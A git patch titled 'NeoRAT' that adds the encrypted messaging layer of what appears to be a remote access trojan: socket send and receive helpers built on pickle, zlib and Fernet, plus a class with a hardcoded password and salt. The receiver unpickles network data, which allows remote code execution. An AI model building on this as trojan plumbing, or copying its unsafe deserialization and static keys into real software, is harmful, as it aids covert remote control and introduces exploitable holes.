From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001
From: AL-LCL <alvin@alvinhavel.com>
Date: Fri, 19 May 2023 11:01:49 +0200
Subject: NeoRAT

---
 binary/data_handling/recv_data.py | 26 ++++++++++++++++++++++++++
 binary/data_handling/send_data.py | 13 +++++++++++++
 binary/encrypt_data.py            | 26 ++++++++++++++++++++++++++
 3 files changed, 65 insertions(+)
 create mode 100644 binary/data_handling/recv_data.py
 create mode 100644 binary/data_handling/send_data.py
 create mode 100644 binary/encrypt_data.py

(limited to 'binary')

diff --git a/binary/data_handling/recv_data.py b/binary/data_handling/recv_data.py
new file mode 100644
index 0000000..a329532
--- /dev/null
+++ b/binary/data_handling/recv_data.py
@@ -0,0 +1,26 @@
+import pickle
+import zlib
+
+
+def recv_data(conn, settings, callback=None):
+	encryption, headersize = settings
+	mode = [True, 0, b'']
+
+	while True:
+		client_msg = conn.recv(81920)
+
+		if mode[0]:
+			mode[1] = int(client_msg[:headersize])
+			mode[0] = False
+
+		mode[2] += client_msg
+
+		if len(mode[2])-headersize == mode[1]:
+			decrypted_msg = encryption.do_decrypt(mode[2][headersize:])
+			decompressed_msg = zlib.decompress(decrypted_msg)
+			client_msg = pickle.loads(decompressed_msg)
+
+			if callback:
+				callback(conn, client_msg)
+
+			return client_msg
\ No newline at end of file
diff --git a/binary/data_handling/send_data.py b/binary/data_handling/send_data.py
new file mode 100644
index 0000000..4622fbb
--- /dev/null
+++ b/binary/data_handling/send_data.py
@@ -0,0 +1,13 @@
+import pickle
+import zlib
+
+
+def send_data(conn, data, settings, extra_data={}):
+	encryption, encoding, headersize = settings
+	data.update(extra_data)
+
+	pickled_msg = pickle.dumps(data)
+	compressed_msg = zlib.compress(pickled_msg, 5)
+	encrypted_msg = encryption.do_encrypt(compressed_msg)
+	final_msg = bytes(f'{len(encrypted_msg):<{headersize}}', encoding) + encrypted_msg
+	conn.send(final_msg)
\ No newline at end of file
diff --git a/binary/encrypt_data.py b/binary/encrypt_data.py
new file mode 100644
index 0000000..6f88280
--- /dev/null
+++ b/binary/encrypt_data.py
@@ -0,0 +1,26 @@
+import base64
+
+from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
+from cryptography.hazmat.backends import default_backend
+from cryptography.hazmat.primitives import hashes
+from cryptography.fernet import Fernet
+
+
+class Encryption:
+  def __init__(self, password='ksxgyRuBRJLKxjFeHD4nmxbE', salt=b'v4CuHZFzmTedBY2EBGrLRXsm'):
+    self.password = password
+    self.salt = salt
+    self.key = Fernet(self.generate_key())
+
+
+  def generate_key(self):
+    kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=self.salt, iterations=100000, backend=default_backend())
+    return base64.urlsafe_b64encode(kdf.derive(self.password.encode()))
+
+
+  def do_encrypt(self, message):
+    return self.key.encrypt(message)
+
+
+  def do_decrypt(self, ciphertext):
+    return self.key.decrypt(ciphertext)
\ No newline at end of file
-- 
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